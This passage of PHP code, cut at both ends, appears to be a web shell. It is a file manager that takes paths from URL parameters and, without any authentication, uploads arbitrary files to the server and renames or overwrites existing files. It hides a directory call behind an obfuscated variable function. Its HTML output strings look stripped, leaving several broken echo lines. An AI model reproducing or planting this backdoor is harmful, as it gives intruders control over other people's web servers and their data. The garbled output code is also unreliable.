$value) {
$_POST[$key] = stripslashes($value);
}
}
echo '
'.$sname.'
';
echo '' . $sname . '
';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '';
echo "Path: ";
foreach ($paths as $id => $pat) {
echo "$pat/";
}
echo ' [ Home ] | |
';
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo 'Upload Success! ';
} else {
echo 'Upload FAILED! ';
}
}
echo ' |
|
';
echo '';
if (isset($_GET['filesrc'])) {
echo '
Name File: ';
echo "" . basename($_GET['filesrc']);
"";
echo '
< back
';
echo ("");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '
' . $_POST['path'] . '
';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo 'Rename Success!
';
} else {
echo 'Rename Failed!
';
}
$_POST['name'] = $_POST['newname'];
}
echo '';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo 'Edit File Success!.
';
} else {
echo 'Edit File Failed!.
';
}
fclose($fp);
}
echo '